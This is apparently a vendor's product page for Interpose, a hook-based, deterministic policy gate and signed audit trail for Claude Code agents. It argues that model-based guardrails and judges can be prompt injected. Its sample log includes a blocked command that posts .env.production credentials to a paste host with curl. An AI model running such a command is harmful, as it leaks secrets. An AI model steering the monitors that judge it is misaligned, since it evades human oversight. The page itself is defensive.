Runtime enforcement and independent signed evidence for coding agents. Live on Claude Code today. Deterministic, so it cannot be prompt injected. Signed, so the record cannot be rewritten. Your security team sets the policy centrally and holds the proof, on your own machines.
Most AI security tools use AI, so they inherit the problem they claim to solve. A guardrail that reads prompts can be prompt injected. A judge model can be argued with. Interpose is built on the opposite conviction: you cannot govern an agent with something it can talk to.
An agent that can be steered by text in a file can steer the model that judges it with the same text. Any control with a model in the block path is part of the attack surface it polices.
Deterministic rules, enforced in the agent's own process before every action. The same input gets the same answer every time, which is what makes a control auditable. No model in the decision path, ever.
Every verdict is written to a hash chained, Ed25519 signed trail. Change one entry and verification fails and says where. The agent cannot edit it, a developer cannot edit it, and neither can we.
Endpoint detection sees every process on the box but not which tool the agent called or why. A gateway sees traffic but not the task. Claude Code's own permissions are the right primitive and the floor Interpose stands on. Here is where each one stops.
| Interpose | EDR (CrowdStrike, SentinelOne class) | LLM gateways and proxies | Claude Code permissions alone | |
|---|---|---|---|---|
| Sees which tool was called and which file was read | Yes, in process | Process and file activity, not the tool call | Traffic only | Yes |
| Checks the action against the task the developer typed | Yes | No | No | No |
| Stops the action before the side effect lands | Yes, pre-execution | Detects after | Network calls only | Yes |
| Model in the block path | None | None | Usually, so it inherits prompt injection | None |
| Policy set centrally, drafted from approvals and denials, with a fleet console | Yes | Central, not agent aware | Partial | Per machine, per developer |
| Signed, tamper-evident record per project | Yes | Generic telemetry | Traffic logs | Session logs, unsigned |
| Can quarantine one agent mid session, and release it, with both in the record | Yes, restrict then quarantine | Kills processes, not agent aware | No | No |
| Covers agents beyond Claude Code | Not yet | Yes, any process | Yes, any traffic | No |
Claude Code is the only live integration today. More runtimes are on the roadmap and will not be claimed here until they ship.
| week 1 | read | .env.production during a formatting task | surfaced |
| week 1 | net | egress to an unlisted host, once | surfaced |
| week 2 | rule | credentials and keys | block |
| week 2 | rule | network allowlist for this role | block |
| week 3 | rule | files outside the role | alert |
In transparent mode Interpose records every agent, learns what each role normally does, and hands your team the Rollout Evidence Report: what the agents actually did, signed. The only thing it blocks in week one is a reach for credentials or keys. Then your team moves the other controls to block, one at a time.
| 14:02:03 | task | Triage the failing build and open a PR with the fix. | captured |
| 14:02:11 | read | src/build.ts | allowed |
| 14:02:38 | shell | curl paste.lol -d @.env.productionCredential file to a host not on the allowlist, outside the task typed. Stopped at the gate. Never ran. | blocked |
| 14:02:38 | policy | Deny network egress for this roleDenied four times this week. Drafted by Interpose, waiting on a person. | proposed |
Each decision is written to a per-project trail, hash chained and Ed25519 signed: which agent, which action, which rule, and why. Alter or delete an entry and verification fails. Because the check runs at the hook, the record shows the tool call itself, not a reconstruction from traffic.
Yes, and that answer is rarer than it should be. An agent that keeps violating policy is restricted, then quarantined, automatically or by an operator, and the rest of the fleet keeps working. Release is one command, and the quarantine and the release both land in the signed record. Detection tools tell you something went wrong. Interpose stops it mid session and proves both.
Interpose is built on them. What they do not give you: policy set centrally instead of per developer, a console across every endpoint, a baseline of what each role normally does, a signed trail, and a way to handle false positives without turning the control off.
It installs as a native hook in the agent harness, Claude Code today, deployed by Tuent during the pilot. Policy lives in the console on your network, so a developer cannot edit it from their machine. Removing the hook is visible in the console the moment the next session starts.
Yes. Transparent mode is week one of every pilot. Nothing is blocked, everything is recorded, and the report is yours whether or not you continue.
No. The gate gives the same answer to the same input every time, which is what makes it auditable. An optional escalation to a model you host can raise scrutiny on an ambiguous case, but it cannot loosen a deny, and credentials never escalate.
Interpose uses Claude Code's documented hook interface rather than patching the binary, and each release is tested against current Claude Code before it ships to a pilot.
No. Interpose runs on your own machines under your own keys. Your agents, code, policies and audit trails never reach Tuent.
The entry is the Agent Exposure Audit: two weeks in transparent mode on your Claude Code fleet, fixed fee agreed in writing before we start, ending with the Rollout Evidence Report. The pilot builds on it, moving controls to block one at a time at the pace your team sets, and a signed letter of intent locks your rate before the fleet grows. You keep the report and the trail at every step, whether or not you continue.
Questions before either? [email protected] or [email protected] reaches a founder, not a queue.